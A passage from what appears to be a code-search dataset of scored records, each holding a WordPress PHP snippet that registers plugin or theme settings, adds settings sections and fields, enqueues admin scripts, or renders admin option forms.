option name, args (validation callback function)\n register_setting( 'web_gp_settings_options', 'web_gp_settings_options', 'web_gp_settings_options_validate');\n \n //create section in sections page\n //section name, title, text callback function, slug of settings page\n add_settings_section( 'main', 'General settings', 'web_gp_build_settings_panel_section', __FILE__);\n\n\t//create Web GP key field\n\t//string $id, string $title, callable $callback, string $page, string $section = 'default', array $args = array() \n add_settings_field( 'web_gp_settings_key', 'Web GP key', 'web_gp_build_settings_panel_field_key', __FILE__, 'main');\n\n\t//create Web active field to live within section\n add_settings_field( 'web_gp_settings_active', 'Web GP active', 'web_gp_build_settings_panel_field_active', __FILE__, 'main');\n\n\t//create field to manage whether the banner is activated or not\n add_settings_field( 'web_gp_settings_banner_active', 'Show homepage banner?', 'web_gp_build_settings_panel_field_banner_active', __FILE__, 'main');\n\n\t//create banner text field\n add_settings_field('web_gp_banner_text', \n __('Homepage banner text', 'web_gp' ), \n 'web_gp_build_settings_panel_field_banner_text', __FILE__, 'main'\n );\n\n\t//create field to show text and background colour settings\n add_settings_field( 'web_gp_settings_styles', 'Web GP styles', 'web_gp_build_settings_panel_field_styles', __FILE__, 'main');\n\n}", "title": "" }, { "docid": "447dee6a5614537c28567fcdb3c89588", "score": "0.6382389", "text": "function eg_settings_api_init() {\n// Add the section to general settings so we can add our\n// fields to it\n add_settings_section(\n 'eg_setting_section',\n 'Custom settings',\n 'eg_setting_section_callback_function',\n 'general'\n );\n\n// Add the field with the names and function to use for our new\n// settings, put it in our new section\n add_settings_field(\n 'frontend_language',\n 'Frontend Language',\n 'eg_setting_callback_function',\n 'general',\n 'eg_setting_section'\n );\n\n// Register our setting so that $_POST handling is done for us and\n// our callback function just has to echo the <input>\n register_setting( 'general', 'frontend_language' );\n}", "title": "" }, { "docid": "ce4ff1f001a3c030d054ba5c7b841f68", "score": "0.63717353", "text": "public function page_init() { \n\n\t\tregister_setting(\n\t\t\t'my_option_group', // Option group\n\t\t\t'highlightjs_fwp_settings', // Option name\n\t\t\tarray( $this, 'sanitize' ) // Sanitize\n\t\t);\n\n\t\tadd_settings_section(\n\t\t\t'setting_section_id', // ID\n\t\t\t'My Custom Settings', // Title\n\t\t\tarray( $this, 'print_section_info' ), // Callback\n\t\t\t'my-setting-admin' // Page\n\t\t); \n\n\t\tadd_settings_field(\n\t\t\t'custom_selector', \n\t\t\t'Custom Selector', \n\t\t\tarray( $this, 'custom_selector_callback' ), \n\t\t\t'my-setting-admin', \n\t\t\t'setting_section_id'\n\t\t); \n\n\t\tadd_settings_field(\n\t\t\t'color_scheme', \n\t\t\t'Color Scheme', \n\t\t\tarray( $this, 'color_scheme_callback' ), \n\t\t\t'my-setting-admin', \n\t\t\t'setting_section_id'\n\t\t); \n\t}", "title": "" }, { "docid": "10a285cfaa118a6199aa84a1305d117a", "score": "0.6361412", "text": "public function wavesurfer_settings_init() {\r\n\r\n\t\t// Register Settings\r\n\t\tregister_setting(\r\n\t\t\t\t'wavesurfer', // Option group\r\n\t\t\t\t'wavesurfer_settings' // Option name\r\n\t\t);\r\n\r\n\r\n\t\t// Register Section\r\n\t\tadd_settings_section(\r\n\t\t\t\t'colors_section', // Id\r\n\t\t\t\t__( 'Appearance', 'wavesurfer-wp' ), // Title\r\n\t\t\t\tarray( $this, 'render_colors_section' ), // Callback\r\n\t\t\t\t'wavesurfer' // Page\r\n\t\t);\r\n\r\n\r\n\t\t// Add Fields\r\n\t\t// Wave Color\r\n\t\tadd_settings_field( // 0\r\n\t\t\t\t'wave_color', // Id\r\n\t\t\t\t__( 'Wave Color', 'wavesurfer-wp' ), // Title\r\n\t\t\t\tarray( $this, 'render_wave_color_field' ), // Callback\r\n\t\t\t\t'wavesurfer', // Page\r\n\t\t\t\t'colors_section' // Section\r\n\t\t);\r\n\r\n\t\t// Progress Color\r\n\t\tadd_settings_field( // 1\r\n\t\t\t\t'progress_color',\r\n\t\t\t\t__( 'Progress Color', 'wavesurfer-wp' ),\r\n\t\t\t\tarray( $this, 'render_progress_color_field' ),\r\n\t\t\t\t'wavesurfer',\r\n\t\t\t\t'colors_section'\r\n\t\t);\r\n\r\n\t\t// Cursor Color\r\n\t\tadd_settings_field( // 1\r\n\t\t\t\t'cursor_color',\r\n\t\t\t\t__( 'Cursor Color', 'wavesurfer-wp' ),\r\n\t\t\t\tarray( $this, 'render_cursor_color_field' ),\r\n\t\t\t\t'wavesurfer',\r\n\t\t\t\t'colors_section'\r\n\t\t);\r\n\r\n\t\t// Theme\r\n\t\tadd_settings_field( // 1\r\n\t\t\t\t'front_theme',\r\n\t\t\t\t__( 'Front Theme', 'wavesurfer-wp' ),\r\n\t\t\t\tarray( $this, 'render_theme_field' ),\r\n\t\t\t\t'wavesurfer',\r\n\t\t\t\t'colors_section'\r\n\t\t);\r\n\r\n\t\t// Theme\r\n\t\tadd_settings_field( // 1\r\n\t\t\t\t'font',\r\n\t\t\t\t__( 'Font', 'wavesurfer-wp' ),\r\n\t\t\t\tarray( $this, 'render_font_field' ),\r\n\t\t\t\t'wavesurfer',\r\n\t\t\t\t'colors_section'\r\n\t\t);\r\n\r\n\t\t// Height\r\n\t\tadd_settings_field( // 1\r\n\t\t\t\t'height',\r\n\t\t\t\t__( 'Height', 'wavesurfer-wp' ),\r\n\t\t\t\tarray( $this, 'render_height_field' ),\r\n\t\t\t\t'wavesurfer',\r\n\t\t\t\t'colors_section'\r\n\t\t);\r\n\r\n\t\t// Bar Width\r\n\t\tadd_settings_field( // 1\r\n\t\t\t\t'bar_width',\r\n\t\t\t\t__( 'Bar Width', 'wavesurfer-wp' ),\r\n\t\t\t\tarray( $this, 'render_bar_width_field' ),\r\n\t\t\t\t'wavesurfer',\r\n\t\t\t\t'colors_section'\r\n\t\t);\r\n\r\n\t}", "title": "" }, { "docid": "13b5052f153b7d857edd80e334521fab", "score": "0.63586503", "text": "public function register_fields() {\n\n // add_settings_field( $id, $title, $callback, $menu_slug, $section, $args );\n\n add_settings_field(\n OPT_CC_ENABLED,\n apply_filters( $this->plugin_name . 'label-enabled', esc_html__( 'Enabled', 'consentcookie' ) ),\n array( $this->adminField, 'field_checkbox' ),\n $this->plugin_name,\n $this->plugin_name . '-general',\n array(\n 'id' \t\t\t=> OPT_CC_ENABLED,\n 'value' \t\t=> 1,\n 'description' => 'If enabled ConsentCookie is visible on your website.'\n )\n );\n\n add_settings_field(\n OPT_CC_WIDGET_CC,\n apply_filters( $this->plugin_name . 'label-widget-ccc', esc_html__( 'Configuration', 'consentcookie' ) ),\n array( $this->adminField, 'field_ccc' ),\n $this->plugin_name,\n $this->plugin_name . '-general',\n array(\n 'id' \t\t\t=> OPT_CC_WIDGET_CC\n )\n );\n\n add_settings_field(\n OPT_CC_WIDGET_CUSTOMSCRIPT,\n apply_filters( $this->plugin_name . 'label-widget-customscript', esc_html__( 'Custom script', 'consentcookie' ) ),\n array( $this->adminField, 'field_textarea' ),\n $this->plugin_name,\n $this->plugin_name . '-advanced',\n array(\n 'class' => \"large-text jstextarea\",\n 'description' \t=> esc_html__ ( 'Custom script' ),\n 'id' \t\t\t=> OPT_CC_WIDGET_CUSTOMSCRIPT,\n 'help_url' => 'https://www.consentcookie.nl/documentation/start-direct/wordpress-plugin/'\n )\n );\n\n add_settings_field(\n OPT_CC_CDN,\n apply_filters( $this->plugin_name . 'label-enabled', esc_html__( 'ConsentCookie CDN', 'consentcookie' ) ),\n array( $this->adminField, 'field_checkbox' ),\n $this->plugin_name,\n $this->plugin_name . '-advanced',\n array(\n 'id' \t\t\t=> OPT_CC_CDN,\n 'value' \t\t=> 0,\n 'description' \t=> esc_html__ ( 'Use latest CDN version. Not using CDN or custom path will automatically use plugins embedded ConsentCookie version ' ) . CC_VERSION,\n )\n );\n\n add_settings_field(\n OPT_CC_CUSTOM_PATH,\n apply_filters( $this->plugin_name . 'label-enabled', esc_html__( 'ConsentCookie custom path', 'consentcookie' ) ),\n array( $this->adminField, 'field_text' ),\n $this->plugin_name,\n $this->plugin_name . '-advanced',\n array(\n 'id' \t\t\t=> OPT_CC_CUSTOM_PATH,\n 'description' \t=> esc_html__ ( 'Uncheck ConsentCookie CDN if you use a custom path.' ),\n )\n );\n\n add_settings_field(\n OPT_CCC_CDN,\n apply_filters( $this->plugin_name . 'label-enabled', esc_html__( 'ConsentCookie Configurator CDN', 'consentcookie' ) ),\n array( $this->adminField, 'field_checkbox' ),\n $this->plugin_name,\n $this->plugin_name . '-advanced',\n array(\n 'id' \t\t\t=> OPT_CCC_CDN,\n 'value' \t\t=> 0,\n 'description' \t=> esc_html__ ( 'Use latest CDN version. Not using CDN or custom path will automatically use plugins embedded Configurator version ' ) . CCC_VERSION,\n\n )\n );\n\n add_settings_field(\n OPT_CCC_CUSTOM_PATH,\n apply_filters( $this->plugin_name . 'label-enabled', esc_html__( 'Configurator custom path', 'consentcookie' ) ),\n array( $this->adminField, 'field_text' ),\n $this->plugin_name,\n $this->plugin_name . '-advanced',\n array(\n 'id' \t\t\t=> OPT_CCC_CUSTOM_PATH,\n 'description' \t=> esc_html__ ( 'Uncheck Configurator CDN if you use a custom path.' ),\n )\n );\n\n\n }", "title": "" }, { "docid": "0836546b7e3ba1141ecb4434037b5605", "score": "0.63585454", "text": "public function settingsForm();", "title": "" }, { "docid": "1cdc336bdde7b442b4a6be78c7d1f1fe", "score": "0.63545275", "text": "function twentysixteen_customize_control_js() {\n\twp_enqueue_script( 'color-scheme-control', get_template_directory_uri() . '/js/color-scheme-control.js', array( 'customize-controls', 'iris', 'underscore', 'wp-util' ), '20160816', true );\n\twp_localize_script( 'color-scheme-control', 'colorScheme', twentysixteen_get_color_schemes() );\n}", "title": "" }, { "docid": "c0025372fb512512b9336ee993f8241f", "score": "0.63412416", "text": "function page_init(){\t\n\t\tregister_setting('bulkedit-alttext-settings-group', 'beat_update_alttext_disclaimer', array($this, 'sanitize'));\n\t\tadd_settings_section(\n\t\t\t'bulkedit_alttext_main_settings',\n\t\t\t__( 'Update Alt Texts', 'eg-bulk-edit-alt-text' ),\n\t\t\tarray( $this, 'main_setting_section_callback' ),\n\t\t\t'beat-alt-text'\n\t\t);\n\n\t\tadd_settings_field(\n\t\t\t'beat_update_alttext_disclaimer',\n\t\t\t__( 'Please Agree', 'eg-bulk-edit-alt-text' ),\n\t\t\tarray($this, 'beat_alttext_setting_callback'),\n\t\t\t'beat-alt-text',\n\t\t\t'bulkedit_alttext_main_settings'\n\t\t);\n\t\t\t\n\t}", "title": "" }, { "docid": "8126ea64c1ce15810d38c7fa21bfe0bb", "score": "0.63408244", "text": "public function render_settings(){\n\t\t \n\t\t wp_enqueue_media();\n\t\t \n\t\t $info = $this->component_info();\n\t\t $optionname = $info['option_name'];\n\t\t \n\t\t $background = $this->utils->get_option($optionname,'login-background');\n\t\t $dark_enabled = $this->utils->get_option($optionname,'dark-enabled');\n\t\t $redirect = $this->utils->get_option($optionname,'login-redirect');\n\t\t \n\t\t ?>\n\t\t <div class=\"uk-grid\" id=\"a2020_login_settings\" uk-grid>\n\t\t\t <!-- LOGO SETTINGS -->\n\t\t\t <div class=\"uk-width-1-1@ uk-width-1-3@m\">\n\t\t\t\t <div class=\"uk-h5 \"><?php _e('Admin Logo','admin2020')?></div>\n\t\t\t\t <div class=\"uk-text-meta\"><?php _e(\"Sets an optional background image for the login page.\",'admin2020') ?></div>\n\t\t\t </div>\n\t\t\t <div class=\"uk-width-1-1@ uk-width-1-3@m\">\n\t\t\t\t \n\t\t\t\t <input class=\"uk-input uk-margin-bottom a2020_setting\" id=\"login-background\" \n\t\t\t\t module-name=\"<?php echo $optionname?>\" \n\t\t\t\t name=\"login-background\" \n\t\t\t\t placeholder=\"<?php _e('Login background url','admin2020')?>\"\n\t\t\t\t value=\"<?php echo $background?>\">\n\t\t\t\t \n\t\t\t\t <button class=\"uk-button uk-button-default\" type=\"button\" id=\"a2020_select_login_background\"><?php _e('Select login background','admin2020')?></button>\n\t\t\t\t <img class=\"uk-image uk-margin-left\" id=\"a2020_login_background_preview\" src=\"<?php echo $background?>\" style=\"height:40px;\">\n\t\t\t </div>\t\n\t\t\t <div class=\"uk-width-1-1@ uk-width-1-3@m\">\n\t\t\t </div>\n\t\t\t \n\t\t\t \n\t\t\t <!-- DARK MODE -->\n\t\t\t <div class=\"uk-width-1-1@ uk-width-1-3@m\">\n\t\t\t\t <div class=\"uk-h5 \"><?php _e('Dark Mode','admin2020')?></div>\n\t\t\t\t <div class=\"uk-text-meta\"><?php _e(\"Login style will match dark theme if enabled\",'admin2020') ?></div>\n\t\t\t </div>\n\t\t\t <div class=\"uk-width-1-1@ uk-width-2-3@m\">\n\t\t\t\t \n\t\t\t\t <?php\n\t\t\t\t $checked = '';\n\t\t\t\t if($dark_enabled == 'true'){\n\t\t\t\t\t $checked = 'checked';\n\t\t\t\t }\n\t\t\t\t ?>\n\t\t\t\t \n\t\t\t\t <label class=\"admin2020_switch uk-margin-left\">\n\t\t\t\t\t <input class=\"a2020_setting\" name=\"dark-enabled\" module-name=\"<?php echo $optionname?>\" type=\"checkbox\" <?php echo $checked ?>>\n\t\t\t\t\t <span class=\"admin2020_slider constant_dark\"></span>\n\t\t\t\t </label>\n\t\t\t\t \n\t\t\t </div>\t\n\t\t\t \n\t\t\t <!-- REDIRECT LOGIN -->\n\t\t\t <div class=\"uk-width-1-1@ uk-width-1-3@m\">\n\t\t\t\t <div class=\"uk-h5 \"><?php _e('Redirect to overview page','admin2020')?></div>\n\t\t\t\t <div class=\"uk-text-meta\"><?php _e(\"If enabled, after logging in users will be redirected to the overview page\",'admin2020') ?></div>\n\t\t\t </div>\n\t\t\t <div class=\"uk-width-1-1@ uk-width-2-3@m\">\n\t\t\t\t \n\t\t\t\t <?php\n\t\t\t\t $checked = '';\n\t\t\t\t if($redirect == 'true'){\n\t\t\t\t\t $checked = 'checked';\n\t\t\t\t }\n\t\t\t\t ?>\n\t\t\t\t \n\t\t\t\t <label class=\"admin2020_switch uk-margin-left\">\n\t\t\t\t\t <input class=\"a2020_setting\" name=\"login-redirect\" module-name=\"<?php echo $optionname?>\" type=\"checkbox\" <?php echo $checked ?>>\n\t\t\t\t\t <span class=\"admin2020_slider constant_dark\"></span>\n\t\t\t\t </label>\n\t\t\t\t \n\t\t\t </div>\t\n\t\t </div>\t\n\t\t \n\t\t <?php\n\t }", "title": "" }, { "docid": "3dff646b9a074a97b5527aa637179e67", "score": "0.633566", "text": "public function settings_form()\n\t\t{\n\t\t\n\n\t\t}", "title": "" }, { "docid": "776c50f0daf27df8a91b30d92e2cab0b", "score": "0.6325246", "text": "function widget_css_extra_control() {\n\t\t\n\tglobal $wp_registered_widget_controls, $th_widgetcss_options;\n\n\t$params = func_get_args();\n\t$id = array_pop( $params );\n\t$callback = $wp_registered_widget_controls[$id]['callback_widget_css_redirect'];\n\n\tif( is_callable( $callback ) )\n\t\tcall_user_func_array( $callback, $params );\t\t\n\t\n\t$value = !empty( $th_widgetcss_options[$id ] ) ? htmlspecialchars( stripslashes( $th_widgetcss_options[$id ] ),ENT_QUOTES ) : '';\n\n\n\tif( isset( $params[0]['number']) )\n\t\t$number = $params[0]['number'];\n\t\t\n\tif( isset( $number ) && $number == -1 ) { \n\t\t$number=\"%i%\"; $value=\"\";\n\t}\n\t\n\t$id_disp = $id;\n\t\n\tif( isset( $number ) ) {\n\t\t$id_disp = $wp_registered_widget_controls[$id]['id_base'].'-'.$number;\n\t}\n\n\techo \"<p><label for='\".esc_attr($id_disp).\"-widget_css'>\".__('CSS class', 'dfd').\" <input type='text' name='\".esc_attr($id_disp).\"-widget_css' id='\".esc_attr($id_disp).\"-widget_css' value='\".$value.\"' /></label></p>\";\n\n}", "title": "" }, { "docid": "71d056109bd390ea0b86f75358be3f77", "score": "0.6315842", "text": "function options_init_fn(){\n\tregister_setting('panoramio_plugin_options', 'panoramio_plugin_options', array($this,'plugin_options_validate' ));\n\tadd_settings_section('main_section', 'Main Settings', array($this,'section_text_fn'), __FILE__);\n\tadd_settings_field('plugin_text_string', 'Thumbnail list width(Default 419)', array($this,'setting_string_fn'), __FILE__, 'main_section');\n\tadd_settings_field('plugin_text_string1', 'Thumbnail Height(Defaullt 70)', array($this,'setting_string_fn1'), __FILE__, 'main_section');\n\tadd_settings_field('plugin_text_string_width', 'widget width(Default 419)', array($this,'setting_string_fn2'), __FILE__, 'main_section');\n\tadd_settings_field('plugin_text_string_height', 'widget height(Default 294)', array($this,'setting_string_fn3'), __FILE__, 'main_section');\t\n\t\n\tadd_settings_field('plugin_text_string_columns', 'Column Number(Default 5)', array($this,'setting_string_fn4'), __FILE__, 'main_section');\t\n}", "title": "" }, { "docid": "59b8fb3518e7b3e7dde203e0ea7942d8", "score": "0.63030607", "text": "public function admin_init()\n {\n \tregister_setting('axalian_konamicode-group', 'axalian_konamicode_jquery_action');\n\n \tadd_settings_section(\n \t 'axalian_konamicode-section', \n \t 'KonamiCode Settings', \n \t array(&$this, 'settings_section_axalian_konamicode'), \n \t 'axalian_konamicode'\n \t);\n \t\n add_settings_field(\n 'axalian_konamicode-jquery_action', \n 'jQuery Action', \n array(&$this, 'settings_field_input_textarea'), \n 'axalian_konamicode', \n 'axalian_konamicode-section',\n array(\n 'field' => 'axalian_konamicode_jquery_action'\n )\n ); \n }", "title": "" }, { "docid": "3240a2fdb505894842d1e39170085499", "score": "0.6299543", "text": "function ssbwpp_settings_init() {\n\t register_setting( 'ssbwpp', 'ssbwpp_options' );\n\t \n\t // register a new section in the \"ssbwpp\" page\n\t add_settings_section(\n\t\t 'ssbwpp_section_developers',\n\t\t __( 'Social Share Buttons', 'ssbwpp' ),\n\t\t 'ssbwpp_section_developers_cb',\n\t\t 'ssbwpp'\n\t );\n\t \n\t // register a new field in the \"ssbwpp_section_developers\" section, inside the \"ssbwpp\" page\n\t add_settings_field(\n\t\t 'ssbwpp_field_selector', // as of WP 4.6 this value is used only internally\n\t\t // use $args' label_for to populate the id inside the callback\n\t\t __( 'Debajo o encima del contenido', 'ssbwpp' ),\n\t\t 'ssbwpp_field_selector_cb',\n\t\t 'ssbwpp',\n\t\t 'ssbwpp_section_developers',\n\t\t [\n\t\t\t 'label_for' => 'ssbwpp_field_selector',\n\t\t\t 'class' => 'ssbwpp_row',\n\t\t\t 'ssbwpp_custom_data' => 'custom',\n\t\t ]\n\t );\n}", "title": "" }, { "docid": "faa41b5440b1cbe6187e97ca9ebce79a", "score": "0.6279622", "text": "function admin_ui() {\n\t\twp_register_style('theme-option-clf-style', get_template_directory_uri().'/inc/clf/css/clf-admin.css');\n\t\twp_enqueue_style('theme-option-clf-style');\n \n\t\t\n\t\t// include CLF specific js file\n wp_register_script('theme-option-clf-script', get_template_directory_uri().'/inc/clf/js/clf-admin.js');\n\t\twp_enqueue_script('theme-option-clf-script');\n\t}", "title": "" }, { "docid": "6203f1f06689c8daf105130f0f7365fd", "score": "0.627528", "text": "function render_field_settings( $field ) {\n\t\t\n\t\t/*\n\t\t* acf_render_field_setting\n\t\t*\n\t\t* This function will create a setting for your field. Simply pass the $field parameter and an array of field settings.\n\t\t* The array of settings does not require a `value` or `prefix`; These settings are found from the $field array.\n\t\t*\n\t\t* More than one setting can be added by copy/paste the above code.\n\t\t* Please note that you must also have a matching $defaults value for the field name (font_size)\n\t\t*/\n\t\t\n\t\t// clear numeric settings\n\t\t$clear = array(\n\t\t\t'min_size',\n\t\t\t'max_size'\n\t\t);\n\t\t\n\t\tforeach( $clear as $k ) {\n\t\t\tif( empty($field[$k]) ) {\n\t\t\t\t$field[$k] = '';\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\t\t/* media type */\n\t\tacf_render_field_setting($field, array(\n\t\t\t'type' \t\t\t=> 'radio',\n\t\t\t'name' \t\t\t=> 'general_type',\n\t\t\t'layout' \t\t=> 'horizontal',\n\t\t\t'label' \t\t=> __('Type', $this->text_domain),\n\t\t\t'instructions'\t=> __('Restrict the media type selection','acf'),\n\t\t\t'choices' \t=> array(\n\t\t\t\t'both' \t=> __('Both', $this->text_domain),\n\t\t\t\t'audio' => __('Audio', $this->text_domain),\n\t\t\t\t'video' => __('Video', $this->text_domain)\n\t\t\t)\n\t\t));\n\t\t\n\t\t// allowed type\n\t\tacf_render_field_setting( $field, array(\n\t\t\t'label'\t\t\t=> __('Allowed file types','acf'),\n\t\t\t'instructions'\t=> __('Comma separated list. Leave blank for all types','acf'),\n\t\t\t'type'\t\t\t=> 'text',\n\t\t\t'name'\t\t\t=> 'mime_types',\n\t\t));\n\t\t\n\t\t\n\t\t// return_format\n\t\tacf_render_field_setting( $field, array(\n\t\t\t'label'\t\t\t=> __('Return Value','acf'),\n\t\t\t'instructions'\t=> __('Specify the returned value on front end','acf'),\n\t\t\t'type'\t\t\t=> 'radio',\n\t\t\t'name'\t\t\t=> 'return_format',\n\t\t\t'layout'\t\t=> 'horizontal',\n\t\t\t'choices'\t\t=> array(\n\t\t\t\t'html' \t\t=> __('Player HTML', $this->text_domain),\n\t\t\t\t'shortcode' => __('Shortcode', $this->text_domain),\n\t\t\t\t'array'\t\t=> __(\"Detailed Array\",$this->text_domain),\n\t\t\t\t'url'\t\t=> __(\"File URL\",'acf'),\n\t\t\t\t'id'\t\t=> __(\"File ID\",'acf')\n\t\t\t)\n\t\t));\n\t\t\n\t\t\n\t\t// library\n\t\tacf_render_field_setting( $field, array(\n\t\t\t'label'\t\t\t=> __('Library','acf'),\n\t\t\t'instructions'\t=> __('Limit the media library choice','acf'),\n\t\t\t'type'\t\t\t=> 'radio',\n\t\t\t'name'\t\t\t=> 'library',\n\t\t\t'layout'\t\t=> 'horizontal',\n\t\t\t'choices' \t\t=> array(\n\t\t\t\t'all'\t\t\t=> __('All', 'acf'),\n\t\t\t\t'uploadedTo'\t=> __('Uploaded to post', 'acf')\n\t\t\t)\n\t\t));\n\t\t\n\t\t\n\t\t// min\n\t\tacf_render_field_setting( $field, array(\n\t\t\t'label'\t\t\t=> __('Minimum','acf'),\n\t\t\t'instructions'\t=> __('Restrict which files can be uploaded','acf'),\n\t\t\t'type'\t\t\t=> 'text',\n\t\t\t'name'\t\t\t=> 'min_size',\n\t\t\t'prepend'\t\t=> __('File size', 'acf'),\n\t\t\t'append'\t\t=> 'MB',\n\t\t));\n\t\t\n\t\t\n\t\t// max\n\t\tacf_render_field_setting( $field, array(\n\t\t\t'label'\t\t\t=> __('Maximum','acf'),\n\t\t\t'instructions'\t=> __('Restrict which files can be uploaded','acf'),\n\t\t\t'type'\t\t\t=> 'text',\n\t\t\t'name'\t\t\t=> 'max_size',\n\t\t\t'prepend'\t\t=> __('File size', 'acf'),\n\t\t\t'append'\t\t=> 'MB',\n\t\t));\n\n\t}", "title": "" }, { "docid": "00a0b9d5f1ec22bbe2ea94c7725db16a", "score": "0.6264344", "text": "function faculty_add_color_setting($id, $label) { \n return faculty_add_label($id, $label) . '<input type=\"text\" id=\"' . $id . '\" name=\"' . FACULTY_SETTINGS_FIELD . '[' . $id . ']\" size=\"8\" maxsize=\"7\" value=\"' . esc_attr( faculty_get_fresh_design_option($id) ) . '\" class=\"color-picker\" />';\n}", "title": "" }, { "docid": "0bff429fef1d6d27beb96bfb77e8c0e1", "score": "0.62624294", "text": "public function page_init()\n { \n register_setting('gc_options_page', 'gcoptions', array($this, 'sanitize'));\n add_settings_section('default_settings', __('Options'), null, __FILE__); \n\n add_settings_field('default_facebook_page', __('Default Facebook Page'), array($this, 'default_facebook_page_callback'), __FILE__, 'default_settings');\n add_settings_field('default_twitter_username', __('Default twitter user name'), array($this, 'default_twitter_username_callback'), __FILE__, 'default_settings'); \n add_settings_field('default_google_plus', __('Default google plus'), array($this, 'default_google_plus_callback'), __FILE__, 'default_settings'); \n add_settings_field('default_linkedin', __('Default linkedin URL'), array($this, 'default_linkedin_callback'), __FILE__, 'default_settings'); \n }", "title": "" }, { "docid": "1ce997a5a62b5507386e3326602ec7c8", "score": "0.62559706", "text": "function photoblogster_customize_control_js() {\n\twp_enqueue_script( 'photoblogster-color-scheme-control', get_template_directory_uri() . '/js/color-scheme-control.js', array( 'customize-controls', 'iris', 'underscore', 'wp-util' ), '20141216', true );\n\twp_localize_script( 'photoblogster-color-scheme-control', 'colorScheme', photoblogster_get_color_schemes() );\n}", "title": "" }, { "docid": "49b16ab1e2d527302162279473e4543d", "score": "0.62519246", "text": "function platterpus_display() {\n?>\n <!-- Create a header in the default WordPress 'wrap' container -->\n <div class=\"wrap\">\n \n <div id=\"icon-themes\" class=\"icon32\"></div>\n <h2><?php bloginfo('name') ?> Theme Options</h2>\n <?php settings_errors(); ?>\n \n <form method=\"post\" action=\"options.php\">\n <?php\n\n settings_fields( 'platterpus_input_examples' );\n do_settings_sections( 'platterpus_input_examples' );\n \n submit_button();\n \n ?>\n </form>\n \n </div><!-- /.wrap -->\n<?php\n}", "title": "" }, { "docid": "e5267ed6f2e939f9ac2a463e77d98684", "score": "0.62319493", "text": "function connector_3scale_settings(){\t\n\t$form['API_3scale_provider_id'] = array(\n\t\t'#type' => 'textfield',\n\t\t'#title' => t('3scale Provider ID'),\n\t\t'#default_value' => variable_get('API_3scale_provider_id'),\n\t\t'#description' => t('This value is available in from your 3scale account page')\n\t);\t\n\treturn system_settings_form($form);\n}", "title": "" }, { "docid": "437b7cd7ca1d6dbc6f2f4f3b431f694a", "score": "0.62267995", "text": "function flibusbox_color_field_callback() {\n\t\t\techo '<input type=\"text\" class=\"color-field\" id=\"flibusbox_color_field\" name=\"flibusbox_color_field\" value=' . get_option('flibusbox_color_field') . '>';\n\t\t}", "title": "" }, { "docid": "96d06a4ad889badcbe23e4bdb72c193d", "score": "0.6225203", "text": "function pqrc_setting_init()\r\n{\r\n add_settings_section('pqrc_section', __('Posts to QR Code', 'posts-to-qrcode'), 'pqrc_section_callback', 'general');\r\n // scanner image height and width\r\n add_settings_field('pqrc_height', __('QR code height', 'posts-to-qrcode'), 'pqrc_display_field', 'general', 'pqrc_section', array('pqrc_height'));\r\n add_settings_field('pqrc_width', __('QR code width', 'posts-to-qrcode'), 'pqrc_display_field', 'general', 'pqrc_section', array('pqrc_width'));\r\n // Dropdown select and checkbox\r\n add_settings_field('pqrc_select', __('Dropdown', 'posts-to-qrcode'), 'pqrc_display_select_field', 'general', 'pqrc_section');\r\n add_settings_field('pqrc_checkbox', __('select countries', 'posts-to-qrcode'), 'pqrc_display_checkboxgroup_field', 'general', 'pqrc_section');\r\n // mini-toggle button\r\n add_settings_field('pqrc_toggle', __('Toggle Button', 'posts-to-qrcode'), 'pqrc_display_toggle_field', 'general', 'pqrc_section');\r\n\r\n\r\n register_setting('general', 'pqrc_height', array('sanitize_callback' => 'esc_attr'));\r\n register_setting('general', 'pqrc_width', array('sanitize_callback' => 'esc_attr'));\r\n register_setting('general', 'pqrc_select', array('sanitize_callback' => 'esc_attr'));\r\n register_setting('general', 'pqrc_checkbox');\r\n register_setting('general', 'pqrc_toggle');\r\n}", "title": "" }, { "docid": "9b07b06a9a19236746e2e5530958a467", "score": "0.62227184", "text": "function custom_theme_settings_init() \n{ \n\t/**\n\t* REGISTRO un ajuste de devolución de llamada y su desinfección .\n\tregister_setting( $option_group, $option_name, $sanitize_callback )\n\t*/\n\n\t//panel rewrite url\n\tregister_setting( 'customThemeRewriteUrl' , 'theme_settings' );\n\n\t//panel redes sociales\n\tregister_setting( 'customThemePageSocial' , 'theme_settings' );\n\n\t//panel Mensaje Inicio\n\tregister_setting( 'customThemepageHome' , 'theme_settings' );\t\n\n\t//panel información Nosotros\n\tregister_setting( 'customThemePageNosotros' , 'theme_settings' );\n\n\t//panel Footer\n\tregister_setting( 'customThemePageFooter' , 'theme_settings' );\n\n\t//panel contacto mapa\n\tregister_setting( 'customThemePageContactoMapa' , 'theme_settings' );\n\t\n\t//panel proyectos\n\tregister_setting( 'customThemeProyects' , 'theme_settings' );\n\n\t//panel cuentas\n\tregister_setting( 'customThemePageCuentas' , 'theme_settings' );\n\n\t/**\n\t* Incluir archivo de Configuracion de Secciones y campos , inputs y texarea\n\t**/\n\tinclude('template-add-fields-custom.php');\n}", "title": "" }, { "docid": "1e54e6af3ed56da07376fa5a76f764be", "score": "0.6222387", "text": "public function input_admin_enqueue_scripts()\n {\n wp_enqueue_style($this->name, $this->asset('css/field.css'), [], null);\n wp_enqueue_script($this->name, $this->asset('js/field.js'), [], null, true);\n }", "title": "" }, { "docid": "6b0f6d720f217f7e0cb82f0c3650944b", "score": "0.6220631", "text": "function admin_enqueue_scripts($hook) {\n\n\t\t// pages to load on = admin/settings page for SF + edit post\n\t\t$is_on_simple_fields_page = FALSE;\n\t\t$page_type = \"\";\n\n\t\t$current_screen = get_current_screen();\n\t\tif ($current_screen->base == \"post\" && in_array($current_screen->post_type, $this->get_post_connector_attached_types())) {\n\t\t\t$is_on_simple_fields_page = TRUE;\n\t\t\t$page_type = \"post\";\n\t\t} elseif ($current_screen->base === \"media-upload\") {\n\t\t\t$is_on_simple_fields_page = TRUE;\n\t\t\t$page_type = \"media-upload\";\n\t\t} elseif ($current_screen->id === \"settings_page_simple-fields-options\") {\n\t\t\t$is_on_simple_fields_page = TRUE;\n\t\t\t$page_type = \"settings\";\n\t\t}\n\t\t\n\t\tif (!$is_on_simple_fields_page) return;\n\n\t\tif (\"settings\" === $page_type) {\n\n\t\t\t// Settings page\n\t\t\twp_enqueue_style('simple-fields-styles', SIMPLE_FIELDS_URL.'styles.css', false, SIMPLE_FIELDS_VERSION);\n\n\n\t\t} else {\n\n\t\t\t// Edit post etc.\n\t\t\twp_enqueue_script(\"thickbox\");\n\t\t\twp_enqueue_style(\"thickbox\");\n\t\t\twp_enqueue_script(\"jscolor\", SIMPLE_FIELDS_URL . \"jscolor/jscolor.js\"); // color picker for type color\n\t\t\twp_enqueue_script(\"simple-fields-date\", 